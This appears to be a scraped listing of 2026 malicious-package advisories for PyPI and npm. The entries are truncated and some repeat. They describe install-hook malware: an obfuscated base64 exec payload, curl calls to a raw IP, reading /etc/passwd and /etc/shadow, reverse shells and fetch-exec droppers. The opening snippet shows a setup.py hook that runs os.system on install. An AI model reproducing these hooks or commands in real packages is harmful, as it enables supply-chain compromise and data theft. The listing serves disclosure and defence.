CVE-2026-21016-Malicious-PyPI-Package-Install-Hook-setup.py-Execution-

CVE-2026-21016 – 悪意のあるPyPIパッケージインストールフック setup.py の実行 プログラムコード Python root@kitploit: setup.py - Malicious package that executes during install from setuptools import setup import os This runs on pip install os.system'id /tmp/pwnedbypackage' setup name='harmless-pkg', version='1.0', packages=,...

Malicious code in uvhttp-custom (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bf8bf69e0edd8a79c920c35d2c49e722b38d801c07401dfb673bdb1beb6ea3fc setup.py contains an obfuscated payload of the form lambda : execimport'base64'.b64decode'...'.decodeNone alongside an otherwise-benign setuptools...

MAL-2026-15863 Malicious code in uvhttp-custom (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bf8bf69e0edd8a79c920c35d2c49e722b38d801c07401dfb673bdb1beb6ea3fc setup.py contains an obfuscated payload of the form lambda : execimport'base64'.b64decode'...'.decodeNone alongside an otherwise-benign setuptools...

MAL-2026-14400 Malicious code in sm-session (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ef638f6aa70fe3af65e927efad452743a47f30a2aead95446181742704d9bd24 package.json declares preinstall and postinstall lifecycle scripts that each run curl -s http://16.192.173.5/sm-session/pre and curl -s...

Malicious code in @usaa-grp-personal-profile/personal-profile-common (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector de7570e75b52c8d98aef5a71ab1b1183991359e7e3e1864befba58a9f5ca630a Package published to public npm under an internal-looking scope @usaa-grp-personal-profile at version 999.0.0, a shape consistent with...

MAL-2026-14370 Malicious code in @usaa-grp-personal-profile/personal-profile-common (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector de7570e75b52c8d98aef5a71ab1b1183991359e7e3e1864befba58a9f5ca630a Package published to public npm under an internal-looking scope @usaa-grp-personal-profile at version 999.0.0, a shape consistent with...

MAL-2026-14069 Malicious code in kb-ai (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3d69143a6cdc0a652f91210034751420f7ada3db2a13d81d9e635e3a63333dc5 On import kbai, the package's init.py triggers kbai.utils.callback, which starts a background thread that collects installer host identifiers hostnam...

MAL-2026-13730 Malicious code in euler-sdk (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 e53c3aac169dec167a2e67afdfaff8f16408781a31dc6516afe115df3ffcc425 Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose. --- Category: PROBABLYPENTES...

MAL-2026-13770 Malicious code in @telekom-ods/react-ui-kit (npm)

@telekom-ods/[email protected] ships an install hook that spawns a shell running a reconnaissance/exfiltration one-liner. The captured command reads /etc/passwd and /etc/hosts, runs id, and conditionally reads /etc/shadow if the process has read access, then sends the collected output as the...

Malicious code in @telekom-ods/react-ui-kit (npm)

@telekom-ods/[email protected] ships an install hook that spawns a shell running a reconnaissance/exfiltration one-liner. The captured command reads /etc/passwd and /etc/hosts, runs id, and conditionally reads /etc/shadow if the process has read access, then sends the collected output as the...

MAL-2026-13772 Malicious code in camelot-ammv2-core (npm)

camelot-ammv2-core is a malicious npm package that impersonates Camelot DEX's AMM v2 core contracts. It carries no legitimate functionality; the published tarball contains only a package.json and an install-time payload index.js. Both preinstall and postinstall run node index.js || true, so the...

MAL-2026-13348 Malicious code in lakk-analytics (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d9a1a1a5f0fd81e6ba6198e7f4cbdeab1c16b8ceed3dbb7becc6b4b6f611ad52 [email protected] runs node index.js from an npm install lifecycle hook, which loads ./lib/core and constructs a subdomain from the installer's O...

MAL-2026-12796 Malicious code in messenger-style (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 48e89235ade6dcbf682edae5afb7d789c6a834b2ebe032fac72c796734837d10 The package's preinstall hook runs node index.js, which collects host identifiers os.hostname, os.userInfo.username, home directory, DNS servers and...

Malicious code in @or-sdk/auth (npm)

npm/@or-sdk/auth is affected by the large-scale, self-propagating npm supply-chain worm of 2026-08-04 the "Shai-Hulud: Here We Go Again" wave — the same campaign that began with the compromise of the keyv and cacheable maintainer account. The listed versions were trojanized and republished by the...

MAL-2026-10990 Malicious code in ts-vitest (npm)

ts-vitest is a typosquat of vitest/ts-eslint hollow "kelly-calc"/"clob-math" content, no legitimate functionality that ships a postinstall two-stage fetch-exec dropper. The package.json declares postinstall: node scripts/install-check.cjs; the hook's resolvePeerBundleUrl fetches a JSON config fro...

Malicious code in nonenull1 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 162cd9e0496d35e0500fe084f6011a3e6893182b0fa209502c5d6017ab1138ac The package declares gypfile: true with no native C/C++ sources, and its binding.gyp abuses GYP command-expansion syntax in the sources list — !node...

Malicious code in llm-traces-app (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c0916c8694f396dfa0947df6e3b3d3966839a6e02d4a4f5b84f698787c446bdc On npm install, the package's preinstall lifecycle hook runs node index.js, which collects host identity os.hostname, os.userInfo, homedir, DNS...

MAL-2026-6348 Malicious code in buffer-wrap-67d7 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a0192c1f2bf35c50a401e2df63f505564880339f5329c0ffcfdb8748cd6d48e3 The package declares a postinstall hook "postinstall": "node run.js" that executes run.js automatically on npm install. run.js imports os, fs, http,...

MAL-2026-6352 Malicious code in hex-conv-ae7a (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 35d4f6adb1ef40a529deec65b7409b949cd93ad60d6cf3880ff5e8f0079fef1f The package's package.json declares a postinstall hook "postinstall": "node run.js" that runs run.js automatically on npm install. run.js imports os,...

Malicious code in acme-widget-layout-utils (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ff800752007d4e55ddc8172e04c8d75ac04d61b499cc58d97f016cd34d70d6c4 On import, src/acmewidgetlayoututils/init.py executes a textbook reverse-shell pattern: it opens a TCP socket, duplicates the socket file descriptor...